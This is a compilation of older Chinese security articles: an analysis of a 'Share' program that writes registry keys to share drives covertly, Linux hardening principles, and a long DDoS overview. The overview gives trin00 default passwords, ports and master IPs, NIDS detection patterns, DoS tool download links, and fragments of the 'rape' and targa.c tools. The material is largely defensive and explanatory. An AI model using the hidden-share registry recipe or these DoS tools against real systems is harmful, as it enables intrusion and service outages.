我一直以为Share是一只server/client端的木马，仔细分析之后，我发觉我错了。在我运行Share木马之前，我把我的注册表以及所有硬盘上的文件数量、结构用一个监控软件DiskState记录了起来，这个监控软件据说使用了128bit MD5的技术来捕获所有文件的状态，只要一增加、减少、修改和替换任何文件，这个软件就会把改变了的情况给我指出来。准备妥当后，我把share.exe运行了一下，系统看起来好像毫无反应，我马上使用Dllshow（内存进程察看软件）观看内存进程，嗯，没有任何变化,我想，一般木马都会马上在内存驻留的，可能它修改了硬盘上的文件吧。接着用DiskState比较运行share.exe前后的记录，显示windows\applog里面的目录的一些文件和system.dat、user.dat文件起了变化，并没有其他文件的增加和修改。这里我要告诉大家的是，applog目录里面存放了所有应用程序函数和程序调用的情况，而system.dat和user.dat则是组册表的组成文件。我把applog目录里面的share.lgc打开来观看，它的调用过程如下：（篇幅太长，只把关键的调用列出）

o c15625a0 92110 "C:\WINDOWS\SYSTEM\OLEAUT32.DLL"
o c1561d40 c1000 "C:\WINDOWS\SYSTEM\OLE32.DLL"
o c1553520 6000 "C:\WINDOWS\SYSTEM\INDICDLL.DLL"
o c15d4fd0 2623 "C:\WINDOWS\WIN.INI"
o c15645b0 8000 "C:\WINDOWS\SYSTEM\SVRAPI.DLL"
o c1554190 f000 "C:\WINDOWS\SYSTEM\MPR.DLL"
o c154d180 a1207 "C:\WINDOWS\SYSTEM\USER.EXE"
o c1555ef0 13000 "C:\WINDOWS\SYSTEM\MSNET32.DLL"

    我很奇怪，为什么不见MSWINSCK.OCX或WSOCK2.VXD的调用呢？因为如果木马想要进行网络通讯，是会使用一些socket调用的。接着我再观察注册表的变化，在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面，多了几个键值，分别是CJT_A$、CJT_C$、CJT_D$、CJT_E$、CJT_F$，其内部键值如下：
"Flags"=dword:00000302
"Type"=dword:00000000
"Path"="A:\\" 《-----路径是A到F
"Parm2enc"=hex:
"Parm1enc"=hex:

"Remark"="鲸鱼到此一游!"

    在ie地址栏输入\\111.111.111.1\CJT_C$，居然把我的C盘目录文件显示出来了，我把CJT_C$改成HELLO后重启计算机，在ie地址栏输入\\111.111.111.1\hello，呵呵，也成功显示C盘目录文件了，很奇怪的是，在我的电脑里面硬盘看上去并没有共享，我再把"Flags"=dword:00000302的302改成402，reboot计算机，嘻嘻，硬盘共享已显示出来了。

    我想到前不久我写过一篇关于win98注册表共享漏洞的文章，看来这个Share“木马”是利用了这个漏洞了，不过，作者很聪明，可以想到Flags值改成302后就可以秘密共享……^-^

解决办法：

把HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面的CJT_A$、CJT_C$、CJT_D$、CJT_E$、CJT_F$全部删掉。（也就是运行unshare.exe了)狠一点的，也可以把windows\system\下面的Vserver.vxd（Microsoft 网络上的文件与打印机共享，虚拟设备驱动程序）删掉，再把[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\下的VSERVER键值删掉，永绝这类“木马”的后路吧。严格来说，我觉得share不是木马，你觉得呢？


构建安全Linux系统十二守则

作者：黄景昌

计算机系统的核心是操作系统，因此，操作系统的安全与否直接决定着信息是否安全。是开放源代码的操作系统安全还是不开放源代码的操作系统安全？这一点在业界有不同的声音。但有一点可以肯定，开放源代码有利于迅速地对缺乏安全性的代码进行及时修改，以达到安全要求。

    由于Linux的开放性，使得我们可以通过修改系统源代码，结合现有的系统安全技术以及加入我们自有的加密算法，构建一个安全的Linux操作系统。这里需要解决以下12个方面的问题。

    1. 身份识别和认证
    身份识别和认证是信息系统的最基本要求。一般的Linux系统采用用户名和口令对的形式来进行身份识别和认证。这包含了一些不安全因素,比如系统的密码文件被窃，入侵者采用穷举的方式侵入等。我们可以通过加入其他认证形式来提高系统身份识别和认证的安全性，例如使用公钥算法，将用户的私钥存于用户随身携带的硬件介质上（如IC卡、USB钥匙），系统只保留用户认证信息中的公钥信息。这样，即使公钥信息被窃，入侵者也不可能算出私钥，攻入系统。

    2. 基本的入口控制
    通过提供明显的警告信息，用户登录时相关信息的显示，以及对登录失败次数的限制，也能有效的防范入侵者。

    3. 安全的审计
    改善Linux原有的审计功能，对用户、进程及其他客体行为进行完善的跟踪审计。首先，审计要保证本身的审计信息不会被篡改或者删除。其次，系统要能够对所有的敏感操作进行记录。

    4. 访问控制
    在Linux系统中加入必须的访问控制的实现，比如强制访问控制（MAC）以及自主访问控制（DAC）。自主访问控制允许系统的用户对于属于自己的客体，按照自己的意愿，允许或者禁止其他用户访问。目前Linux提供类似传统UNIX系统的“属主用户/同组用户/其他组”权限保护机制。为了对用户信息提供更好的保护，应能够为用户提供用户级的控制力度。使自主存取控制更接近真实的情况。强制存取控制是由系统管理员进行的安全访问权限设置，提供比自主存取控制更严格的访问约束。

    5. 加密文件系统
    通过在系统中加入加密文件系统机制，保证系统的数据安全，即使系统的存储介质被窃，在入侵者没有取得密钥的情况下，数据依然是不可读的。Linux的开放源代码为我们了解认识Linux的文件系统构架成为可能，也方便了我们对文件系统进行修改，这就使得加密文件系统的实施成为可能。

    6. 完整性保护
    通过对文件和文件系统的跟踪及维护相应的数据库，我们可以对系统中的变化一清二楚，在系统的某些数据发生非法的变化时，我们能够迅速地发现，从而避免入侵者后门程序的存在。这种保护与备份机制相结合，使系统能够迅速地进行自我恢复。

    7. 入侵攻击检测与防范
    采用对敏感资源、IP或者端口进行监测等办法，可以及时地发现入侵行为，并采取相应的措施。比如大量半开的TCP连接，源地址为非法IP的外部数据包，对138和139端口的操作等等，都有可能是入侵的特征。我们通过编写相应的代码，和系统有机地结合在一起，就能有效地防范这类入侵。

    8. 提供完善的安全API
    在系统中为用户提供一套完善的安全API，有利于用户结合系统实现自己的安全应用。

    9. 修改系统中的服务，加入安全的机制
    升级系统服务版本，修改服务中的安全漏洞。

    10.提供安全的服务和应用
    比如支持SSL的Web服务、SSH、IPSEC、支持PGP的邮件程序等。

    11.提供完善的系统安全扫描与检测工具
    在系统中提供完善的安全扫描与检测工具，管理员可以经常对系统进行安全检测，及时发现安全隐患。

    12.采用安全的加密算法
    采用更长密钥（128位以上）的公认安全加密算法来实现系统中的加密应用。

    开放源代码的Linux为我们实现安全的操作系统平台提供了新的机遇。通过对基于Linux的安全操作系统的研究，将有助于我们实现自有版权的安全操作系统，构建国人自己的信息安全平台。


关于DDOS的资料

该攻击方式称为分布式D.O.S(Distributed Denial Of Service)攻击。国外一些高性能的商业网络和教育网络遭受到了这种攻击。它利用攻击者已经侵入并控制的主机（可能是数百台），对某一单机发起攻击。在悬殊的带宽力量对比下，被攻击的主机会很快失去反应。这种攻击方式被证实是非常有效的，而且非常难以抵挡。
    一般的人比较难以顺利实现这些攻击。因为攻击者必须熟悉一些入侵技巧。出现在一些黑客网站上的两个已知工具可以帮助实现这种攻击。它们是trin00和Tribe Flood Network。源代码包的安装使用过程是比较复杂的，因为编译者首先要找一些internet上有漏洞的主机，通过一些典型而有效的远程溢出漏洞攻击程序，获取其系统控制权，然后在这些机器上装上并运行分布端的攻击守护进程，下面简单地介绍一下trin00的结构：
trin00由三部分组成：
1、客户端
2、主控端(master)
3、分布端(broadcast)---攻击守护进程
------------------------------------
1、客户端可以是telnet之类的常用连接软件，客户端的作用是向主控端(master)发送命令。它通过连接master的27665端口，然后向master发送对目标主机的攻击请求。
2、主控端(master)侦听两个端口，其中27655是接收攻击命令，这个会话是需要密码的。缺省的密码是"betaalmostdone"。master启动的时候还会显示一个提示符："??"，等待输入密码。密码为 "gOrave"，另一个端口是31335，等候分布端的UDP报文。
在7月份的时候这些master的机器是:
129.237.122.40
207.228.116.19
209.74.175.130
3、分布端是执行攻击的角色。分布端安装在攻击者已经控制的机器上,分布端编译前植入了主控端master的IP地址，分布端与主控端用UDP报文通信，发送到主控端的31355端口，其中包含"*HELLO*"的字节数据。主控端把目标主机的信息通过27444 UDP端口发送给分布端，分布端即发起flood攻击。
攻击者-->master-->分布端-->目标主机
通信端口：
攻击者 to Master(s): 27665/tcp
Master to 分布端: 27444/udp
分布端 to Master(s): 31335/udp
    从分布端向受害者目标主机发送的D.O.S都是UDP报文，每一个包含4个空字节，这些报文都从一个端口发出，但随机地袭击目标主机上的不同端口。目标主机对每一个报文回复一个ICMP Port Unreachable的信息，大量不同主机发来的这些洪水般的报文源源不断，目标主机将很快慢下来，直至剩余带宽变为0。
DDos式攻击的步骤
    透过寻常网路(网络)连线，使用者传送讯息要求服务器予以确认。服务器于是将连线许可回传给使用者。使用者确认后，获准登入服务器。
    但在“拒绝服务”式攻击的情况下，使用者传送众多要求确认的讯息到服务器，使服务器充斥这种垃圾讯息。所有的讯息都附上捏造的地址，以至于服务器设图回传确认许可时，无法找到使用者。服务器于是暂时等候，有时超过一分钟，然后再切断连线。服务器切断连线时，骇客再度传送新一波佯装成要求确认的讯息，再度启动上述过程，导致服务器无法动弹，服务无限期停摆。这种攻击行动使网站服务器充斥大量要求答覆的讯息，导致系统不胜负荷以至于当机。
这种分布式拒绝服务攻击示意图如下：
                      *----------*
                      | |
                      | 攻击者 |
                      | |
                      *----------*
                       |
                       |
                      *----------*
                      | |
                      | 主控端 |
                      | |
                      *----------*
                       |
(指挥各个分节点进行攻击)
                       |
       *------------*------*------*------------*
       | | | |
       | | | |
     v v v v
*----------* *----------* *----------* *----------*
| | | | | | | |
| 代理端 | | 代理端 | | 代理端 | | 代理端 |
| | | | | | | |
*----------* *----------* *----------* *----------*
         / /
       / /
           / /
                (大量的垃圾数据包进行攻击)
       / /
             / /
               / /
               V V V V
               *-----------------------*
               | |
               | 被攻击服务器 |
               | |
               *-----------------------*
根据网络通讯异常现象监测分布式拒绝服务攻击
    许多人或工具在监测分布式拒绝服务攻击时常犯的错误是只搜索那些DDoS工具的缺省特征字符串、缺省端口、缺省口令等。要建立网络入侵监测系统（NIDS）对这些工具的监测规则，必须着重观察分析DDoS网络通讯的普遍特征，不管是明显的，还是模糊的。
    DDoS工具产生的网络通讯信息有两种：控制信息通讯（在DDoS客户端与服务器端之间）和攻击时的网络通讯（在DDoS服务器端与目标主机之间）。
根据以下异常现象在网络入侵监测系统建立相应规则，能够较准确地监测出DDoS攻击。
    异常现象0：虽然这不是真正的"DDoS"通讯，但却能够用来确定DDoS攻击的来源。根据分析，攻击者在进行DDoS攻击前总要解析目标的主机名。BIND域名服务器能够记录这些请求。由于每台攻击服务器在进行一个攻击前会发出PTR反向查询请求，也就是说在DDoS攻击前域名服务器会接收到大量的反向解析目标IP主机名的PTR查询请求。
    异常现象1：当DDoS攻击一个站点时，会出现明显超出该网络正常工作时的极限通讯流量的现象。现在的技术能够分别对不同的源地址计算出对应的极限值。当明显超出此极限值时就表明存在DDoS攻击的通讯。因此可以在主干路由器端建立ACL访问控制规则以监测和过滤这些通讯。
    异常现象2：特大型的ICP和UDP数据包。正常的UDP会话一般都使用小的UDP包，通常有效数据内容不超过10字节。正常的ICMP消息也不会超过64到128字节。那些尺寸明显大得多的数据包很有可能就是控制信息通讯用的，主要含有加密后的目标地址和一些命令选项。一旦捕获到（没有经过伪造的）控制信息通讯，DDoS服务器的位置就暴露出来了，因为控制信息通讯数据包的目标地址是没有伪造的。
    异常现象3：不属于正常连接通讯的TCP和UDP数据包。最隐蔽的DDoS工具随机使用多种通讯协议（包括基于连接的协议）通过基于无连接通道发送数据。优秀的防火墙和路由规则能够发现这些数据包。另外，那些连接到高于1024而且不属于常用网络服务的目标端口的数据包也是非常值得怀疑的。
    异常现象4：数据段内容只包含文字和数字字符（例如，没有空格、标点和控制字符）的数据包。这往往是数据经过BASE64编码后而只会含有base64字符集字符的特征。TFN2K发送的控制信息数据包就是这种类型的数据包。TFN2K（及其变种）的特征模式是在数据段中有一串A字符（AAA……），这是经过调整数据段大小和加密算法后的结果。如果没有使用BASE64编码，对于使用了加密算法数据包，这个连续的字符就是“”。
    异常现象5：数据段内容只包含二进制和high-bit字符的数据包。虽然此时可能在传输二进制文件，但如果这些数据包不属于正常有效的通讯时，可以怀疑正在传输的是没有被BASE64编码但经过加密的控制信息通讯数据包。（如果实施这种规则，必须将20、21、80等端口上的传输排除在外。）

说到黑客的终极武器，那就真的不得不说到DDoS了。可能某些用户对这个东西不是十分
的了解，不过从事计算机安全的人员却往往是听到这个名字，其程度比谈虎色变还要严重。
究竟这个DDoS有什么地方那么恐怖呢，下面会为你作一些简单的说明。

通常，DoS攻击的目标是你网络的TCP/IP内层结构，而这些攻击分为三种：一种是利用T
CP/IP协议的漏洞;二种是利用给定的TCP/IP协议栈软件的弱点;第三种是不断尝试的野蛮攻击
。

起这个黑客软件的破坏力，那就不可以不说起网络安全界鼻祖CERT被攻击的事情了。5月
22日，星期二，这本来只是Pittsburgh Carnegie Mellon大学CERT 交流中心的一个寻常的日
子。可是就在这一天，被认为是计算机安全的泰斗的CERT将在这一天被黑客们"离散的服务拒
绝"(DDoS)的攻击手段踢出网络。另外，微软、雅虎和Exodus都在过去的12个月里遭到了DDo
s的毒手；可能成为下一个目标很可能就是你或者是你的客户喔。毕竟，如果有人真的想要用
DDoS攻击你的服务器而使其瘫痪，他们是绝对有能力做到的，而且是防不胜防。

“离散的服务拒绝”主要是通过阻止你的服务器发送你所提供的服务而工作的。要达到
这个目的，黑客可以有很多种方法，例如最典型的就是Outlook e-mail 蠕虫病毒Melissa及
其同类了，因为它们可以驱使Outlook 程序的客户端向服务器不停的发出充满了蠕虫病毒的
信件直到服务器在重压之下瘫痪。很多人一提到DoS攻击的过程，就会联想到是用很多无用的
信息来阻塞网络，以此来达到使其瘫痪的目的。其实这只是其中一个比较典型的方法。事实
上还有一种方法其实也是非常有效的，那就是名为消耗服务器资源方式的攻击。这种攻击是
用一个低速的modem连接来进行的。

其中，Mazu网络公司设计的TrafficMaster Inspector是一种对付DDoS的好工具。通过不
停地进行以G为单位的以太网速度的数据检查，并且尽可能远的追溯数据来源。简单的说，M
azu希望能够实时的探测到网络攻击，然后让正常的数据包通过同时将DDoS数据包阻挡起来。
它对网络的这种保护使得它适合于ISP和数据中心服务器。

对于企业用户来说，可以通过安装一些软件例如防火墙和象Zone Labs 公司的Zone Ala
rm Pro等，这些都可以起到免受或克制DDoS攻击的作用。另外，企业用户也可以寻求Asta 网
络公司的帮助。Asta 网络公司开发了一种Vantage系统，这种系统可以起到一种类似于反病
毒软件的作用，主要是起到预防的作用，当它发现了可能的攻击，Vantage系统会提示网络管
理员，然后网络管理员就能使用路由过滤器甚至在数据流传送的途中关闭网络服务器来阻止
攻击。而这个系统是通过分析和寻找可能的DDoS攻击的在一般攻击前的特点，它不停地将网
络上数据包和已知的DDoS数据包的定式比较，这些定式包括流往域名服务器(DNS)的非标准的
数据流，如果当它发现问题的时候，就会提示网络管理员了。

上面已经说过，DDoS其中的一种破坏方法就是破坏TCP/IP协议。其中最典型的例子就是
Ping of Death攻击啦，这些黑客建造了一个超过了IP标准的最大长度--65535个字节的IP数
据包。（Sinbad注：Ping 'o Death攻击是发送多个IP分片，总长度超过65535；jolt2才是连
续发送一个偏移量很大的数据包）当这个"浮肿的"数据包到达的时候，，它就使得一个使用
脆弱的TCP/IP协议软件和*作系统的服务器瘫痪。另外一个进行攻击的例子是Teardrop， 它
主要是利用了系统重组IP数据包过程中的漏洞工作的。一个数据包在从互联网的另一端到你
这里的路上也许会被分拆成更小的数据报文。这些数据报中的每一个都拥有最初的IP数据报
的报头，同时还拥有一个偏移字节来标示它拥有原始数据报中的哪些字节。通过这些信息，
一个被正常分割的数据报文能够在它的目的地被重新组装起来，并且网络也能够正常运转而
不被中断。当一次Teardrop攻击开始时，你的服务器将受到拥有重叠的偏移字段的IP数据包
的轰炸。如果你的服务器或是路由器不能丢弃这些数据包而且如果企图重组它们，你的服务
器就会很快瘫痪。如果你的系统被及时更新了，或者你拥有一个可以阻挡Teardrop数据包的
防火墙，你应该不会有什么麻烦。

另外还有就是利用TCP/IP协议本身的漏洞来进行攻击的手段，这些手段也不少，其中最
流行的SYN攻击。SYN工作的原理就是利用两个互联网程序间协议握手的过程进行的攻击。协
议握手的过程如下，其中一个应用程序向另一个程序发送一个TCP SYN(同步)数据包。然后目
标程序向第一个程序发送一个TCP-ACK应答数据包作为回答;第一个程序最后用一个ACK应答数
据包确认已经收到。一旦这两个程序握手成功，它们就准备一起运行了。 SYN攻击用一堆TC
P SYN数据包来淹没它的受害者。每个SYN数据包迫使目标服务器产生一个SYN-ACK应答数据包
然后等待对应的ACK应答。这很快就导致过量的SYN-ACK一个接一个的堆积在缓存队列里。当
缓存队列满了以后，系统就会停止应答到来的SYN请求。 如果SYN攻击中包括了拥有错误IP源
地址的SYN数据包，情况很快就会变得更糟。在这种情况下，当SYN-ACK被送出的时候，ACK应
答就永远不会被收到。飞快充满的缓存队列使得合法程序的SYN请求无法再通过。 更加厉害
的是，与之相似的Land攻击手段使用欺骗性的SYN数据包，它带有一个伪装的IP地址，使得它
看起来像是来自你自己的网络。现在，SYN攻击就像是来自于你防火墙的内部，这使得问题更
加严重。 大多数时新的*作系统和防火墙可以阻止SYN攻击。另一个简单的阻止SYN攻击的方
法是阻塞掉所有带有已知的错误的IP源地址的数据包。这些数据包应该包括带有错误的为内
部保留的IP地址的外部数据包。

另外还有Smurf攻击和用户数据报文协议冲击。这两种攻击都使用了同一的手段。当你被
Smurf攻击的时候，攻击者用互联网控制信息协议(ICMP)的应答数据包--一种特殊的ping数据
包来填充你的路由器。这些数据包的目的IP地址同时是你的广播地址，这使得你的路由器将
ICMP数据包广播到网络上的每一台主机。不言自明的是，对于一个大型网络来说，它将引起
巨大的网络信息流量。而且，就像Land攻击那样，如果黑客将Smurf攻击和欺骗手段结合起来
，破坏力就更大。 免Smurf攻击的一种简单的方法就是在路由器中禁用广播地址并且设置你
的防火墙来过滤ICMP应答协议。你也可以设置你的服务器来使得它不对发送ICMP数据包到IP
广播地址的要求做出响应。这些设置不会影响到你的网络的正常工作因为很少有应用程序使
用IP协议的广播功能。

不过要对付采用UDP冲击方法的DoS攻击就不那么容易了，因为一些合法的应用程序，比
方说RealVideo，也使用UDP协议。在一次UDP冲击中，攻击者伪造出一个请求，将一个系统的
UDP开启测试服务程序与另一个系统的UDP应答程序连在一起。UDP开启测试服务程序是一个用
于测试的从收到的数据包产生字符的程序。结果是，由UDP开启测试服务程序伪随机产生的字
符在两个系统间不停的被反射，使得合法应用程序的带宽要求得不到满足。

一种阻止UDP攻击的方法是禁用或者过滤对主机的所有UDP服务要求。只要你允许非服务
请求的UDP请求通过，使用UDP协议的或是把UDP协议当作备用数据传输协议的通常的应用程序
将继续正常工作。 使用这些防御的方法，你可能认为应付DoS攻击就像应付一根火腿肠一样
容易。你错了。因为发动DDoS攻击是如此的容易，任何心怀不轨的人都能组织起几十台甚至
上百台计算机来对你的系统发动DoS攻击。 单是巨大的参与攻击的计算机的数量就能冲垮你
的堡垒并将你的网络塞满垃圾信息。使用Tribe Force Network(TFN)，Trin00或是Stacheld
raht这样的工具，任何人都可以将DDoS的攻击"僵尸"植入一些毫无防范的系统中。然后，攻
击者发送攻击目标的信息以及攻击的指令。DDoS瞬间即至。 这些在1997年到1999年被发明的
攻击方法是容易被察觉的。但是，新一点的DDoS却使用"脉动僵尸。"这种攻击手段并不使用
野蛮的攻击，而是发送一波一波的小带宽的数据，这样，它们就能绕过那些为密集进攻而设
置的网络警报器。

DDoS攻击只可能增加。随着互联网的扩大，更多的用户将获得对网络的宽带接入，这给
了黑客们更多的可以利用的系统。 火上浇油的是，微软将它的Windows XP*作系统定位为下
一代的面向大多数消费者的*作系统，Windows XP将使用"原始的"TCP/IP套接字。通常，程
序员们在编写程序时使用与其功能相关的套接字--套接字是一种将应用程序与TCP/IP相连的
软件对象。

TCP/IP协议同时定义了一种SOCK_ROW的套接字类型。并不是所有的*作系统支持这种套
接字，但是Unix和Windows XP支持。使用原始套接字，一个程序员可以编写代码调用任何TC
P/IP套接字。只要对不按TCP/IP标准进行编程很在行，原始套接字就能让程序员编写非法的
应用程序，比方说DDoS僵尸，因为它们允许程序员以一种无法预料的方式使用广泛流行的套
接字。例如，你可以使用原始套接字来编写DDoS攻击程序，它们使用套接字80--Web超文本传
输协议选择的套接字，来获取它的指令。

虽然Windows 2000，Unix和它的后代，Linux 和BSD*作系统，也支持原始套接字，但这
些*作体统是被拥有足够技术的行家照看着的。这些用户即使不能使他们的系统以适当地方
式运行，他们也懂得如何锁定这些系统。但是XP却将由一个刚刚从电脑城里将它买回来的人
看管，它远不太可能被一个专家级的管理员来使用并查找出新的DDoS代理程序。 因为这一点
，Gibson 研究团体的Steve Gibson预言说目前DDoS攻击的爆炸式的增长(据Gibson估计为每
星期4，000次)将大幅度增加。从理论上讲，这将使互联网本身因为成百上千的DDoS攻击而减
慢速度。

除了保护你的系统不被DDoS 僵尸和上面所述的方法攻击，你还应该鼓励任何使用宽带互
联网的人安装一个基本的防火墙。ZDNet的下载站点有一长串的个人防火墙，这些防火墙易于
使用并且提供基本的保护功能。 Zone Labs公司的ZoneAlarm就是一种由专家推荐给那些想要
了解在他的网络连接上究竟发生了些什么的初级用户的软件。在一位朋友的使用DSL连接的电
脑上使用了ZoneAlarm后我们发现了两个，不是一个，蓄势待发的DDoS僵尸。我们还注意到每
天都有人企图非法闯入他的系统。如果你拥有宽带连接，那么安全不仅仅是一个好主意，它
是一种必要。

什么样的防御是足够的呢?只有时间和经验才能告诉我们，但是如果现在你不打算保护你
不受DDoS的攻击，你不仅有失去网络连接的危险，你本身就可能成为网络安全问题的一部分
了。所以，现在开始防备还来得及喔。

拒绝服务攻击的英文意思是Denial of Service，简称DoS。这种攻击行动使 网站服务器充斥大量要求回复的 信息，消耗网络带宽或系统资源，导致网络或系统不胜负荷以至于瘫痪而停止提 供正常的网络服务。 以下的图示可解释这类攻击的过程，以及公司、企业应如何加以防范。

“拒绝服务”是如何攻击的

参照图示：

通过普通的网络连线，使用者传送信息要求服务器予以确定。服务器于是回 复用户。用户被确定后，就可登 入服务器。

参照图示：

“拒绝服务”的攻击方式为：用户传送众多要求确认的信息到服务器，使服 务器里充斥着这种无用的信息。 所有的信息都有需回复的虚假地址，以至于当服务器试图回传时，却无法找到用 户。服务器于是暂时等候，有时 超过一分钟，然后再切断连接。服务器切断连接时，黑客再度传送新一批需要确 认的信息，这个过程周而复始， 最终导致服务器无法动弹，瘫痪在地。

如何阻挡“拒绝服务”的攻击

参照图示：

阻挡“拒绝服务”的攻击的常用方法之一是：在网络上建立一个过滤器（fi lter）或侦测器（sniffer）， 在信息到达网站服务器之前阻挡信息。过滤器会侦察可疑的攻击行动。如果某种 可疑行动经常出现，过滤器能 接受指示，阻挡包含那种信息，让网站服务器的对外连接线路保持畅通。

分布式拒绝服务攻击 ------------------

分布式拒绝服务攻击的英文意思是Distributed Denial of Service，简称D DoS。 以下是一个典型的分布式拒绝服务攻击网络结构图：

参照图示：

攻击者在Client（客户端）*纵攻击过程。每个Handler（主控端）是一台已 被入侵并运行了特定程序 的系统主机。每个主控端主机能够控制多个Agent（代理端）。每个代理端也是一 台已被入侵并运行另和种 特定程序的系统主机。每个响应攻击命令的代理端会向被攻击目标主机发送拒绝 服务攻击数据包。 至今为止，攻击者最常使用的分布式拒绝服务攻击程序包括4种：Trinoo、T FN、TFN2K和Stacheldraht。 为了提高分布式拒绝服务攻击的成功率，攻击者需要控制成百上千的被入侵 主机。这些主机通常是Linux和 SUN机器，但这些攻击工具也能够移植到其它平台上运行。这些攻击工具入侵主机 和安装程序的过程都是自动化 的。这个过程可分为以下几个步骤： 1、探测扫描大量主机以寻找可入侵主机目标。

2、入侵有安全漏洞的主机并获取控制权。

3、在每台入侵主机中安装攻击程序。

4、利用已入侵主机继续进行扫描和入侵。

由于整个过程是自动化的，攻击者能够在5秒钟内入侵一台主机并安装攻击工 具。也就是说，在短短的一 小时内可以入侵数千台主机。

几种常见分布式拒绝服务攻击工具的特征 ------------------------------------

以下是攻击者常用的分布式拒绝服务攻击工具：

◆ Trinoo

客户端、主控端和代理端主机相互间通讯时使用如下端口：

1524 tcp 27665 tcp 27444 udp 31335 udp

重要提示：以上所列出的只是该工具的缺省端口，仅作参考。这些端口可以轻 易被修改。

◆ TFN

客户端、主控端和代理端主机相互间通讯时使用ICMP ECHO和ICMP ECHO REPL Y数据包。

◆ Stacheldraht

客户端、主控端和代理端主机相互间通讯时使用如下端口和数据包：

16660 tcp 65000 tcp ICMP ECHO ICMP ECHO REPLY

重要提示：以上所列出的只是该工具的缺省端口，仅作参考。这些端口可以轻 易被修改。

◆ TFN2K

客户端、主控端和代理端主机相互间通讯时并没有使用任何指定端口（在运行 时指定或由 程序随机选择），但结合了UDP、ICMP和TCP数据包进行通讯。

对于这几个分布式拒绝服务攻击工具的详细技术分析，请访问中国著名网络 安全组织绿色兵团 站点http://www.isbase.com/）。

拒绝服务攻击工具“进化“过程 --------------------------

最容易的攻击方法之一是拒绝服务(Denial of Service)攻击。在TCP/IP堆栈 中存在许多漏洞，如允许碎 片包、大数据包、IP路由选择、半公开TCP连接、数据包flood等等，这些都能够 降低系统性能，甚至使系统 崩溃。

每发现一个漏洞，相应的攻击程序往往很快就会出现。每一个攻击程序都是 独立的。一个特定的漏洞攻击 程序往往只影响某一版本的TCP/IP协议（虽然Mircosoft拥有非常庞大的个人计算 机市场，大多数的家庭用户 几乎完全没有意识到这些漏洞的存在，也不知道如何得到和使用安全漏洞的补丁 程序，多种漏洞攻击方法导致 目标系统崩溃的机率相当高。）

拒绝服务攻击程序可从互联网上下载得到，如以下网址：

http://www.technotronic.com/denial.html http://www.rootshell.com/ ;

接着就是用Unix shell脚本将多种的拒绝服务攻击程序组合到一个工具里。 “rape“就是这样一种工具： （由“mars“编写，“ttol“改进）

echo “Editted for use with www.ttol.base.org“ echo “rapeing $IP. using weapons:“ echo “latierra “ echo -n “teardrop v2 “ echo -n “newtear “ echo -n “boink “ echo -n “bonk “ echo -n “frag “ echo -n “****ed “ echo -n “troll icmp “ echo -n “troll udp “ echo -n “nestea2 “ echo -n “fusion2 “ echo -n “peace keeper “ echo -n “arnudp “ echo -n “nos “ echo -n “nuclear “ echo -n “ssping “ echo -n “pingodeth “ echo -n “smurf “ echo -n “smurf4 “ echo -n “land “ echo -n “jolt “ echo -n “pepsi “

这种工具的优点是允许一个攻击者使用多种攻击方法同时攻击单个IP地址（ 这增加了攻击成功的概率）， 但也意味着必须将所有编译好的攻击程序打包好（如Unix的“tar“文件），以方便 传输和进行攻击。

在允许使用多种拒绝服务攻击方法的情况下，同时又是一个单一的、更易于 保存/传输/和使用的已编译程 序，就是类似于Mixter编写的“targa.c“这种程序。Targa程序在一个C源程序中结 合了以下多种攻击方法：

/* targa.c - copyright by Mixter version 1.0 - released 6/24/98 - interface to 8 multi-platform remote denial of service exploits */ . . .

/* bonk by route|daemon9 & klepto * jolt by Jeff W. Roberson (modified by Mixter for overdrop effect) * land by m3lt * nestea by humble & ttol * newtear by route|daemon9 * syndrop by PineKoan * teardrop by route|daemon9 * winnuke by _eci */

但是，即使是象“targa“这类多种拒绝服务攻击组合工具，一个攻击者在同一 时间内也只能攻击一个 IP地址。

为了增加攻击的效率，一群攻击者们需要通过IRC频道或电话来保持联系，每 一个人攻击不同的系统， 以实现团体攻击。这种方法在探测漏洞、入侵系统、安装后门和rootkit的行动中 也经常被使用。

即使存在一些使用限制，但至少在两年内，这个工具不断地增加各种攻击程 序，形成了一个名为 “Denial of Service Cluster“（拒绝服务集群）软件包。“trinoo“工具就是这样 一个例子。而在计算机 黑客界中也有一个由Mixter编写的类似工具“Tribe Flood Network“(TFN)。

与trinoo只实现UDP攻击相比，TFN支持ICMP flood、UDP flood、SYN flood 和Smurf攻击等。这些攻 击通过发送ICMP_ECHOREPLY(ICMP Type 0)包命令控制。TFN也使用了与trinoo一 样的Blowfish加密算法。

我敢担保，这些拒绝服务工具包将会得到进一步的发展与完善，功能更强大 ，隐蔽性更强，关键字符串和 控制命令口令将使用更强壮加密算法，甚至对自身进行数字签名，或在被非攻击 者自己使用时自行消毁，使用 加密通讯通道，使用象ICMP这种令防火墙更难监测或防御的协议进行数据包传输 ，等等。


关于Linux和Unix动态连接库的安全

实际上所有程序执行都依赖于库。在包括Linux的大多数现代类Unix系统中，程序缺省使用动态连接库（DLL）进行编译。这样就可以更新某个库，所有使用该库的程序如果可能的话，都将使用新的（希望有所改进的）版本。

动态连接库通常被放在若干特殊目录下。通常这些目录包括/lib、/usr/lib、有关PAM模块的/lib/security、有关X-windows的/usr/X11R6/lib和/usr/local/lib。

对于库的命名和进行库的符号连接有些特殊约定，这样就可以更新库，同时继续支持需要使用不具有反向兼容的老版本库的程序。在执行特定程序时可以覆盖某个指定库，甚至只覆盖某个库里的指定函数。这是类Unix系统相对于类Windows系统的一个实际优点；我相信类Unix系统有一个更好的系统来处理库的更新，这也是Unix和Linux系统被认为比基于Windows的系统更稳定的原因。

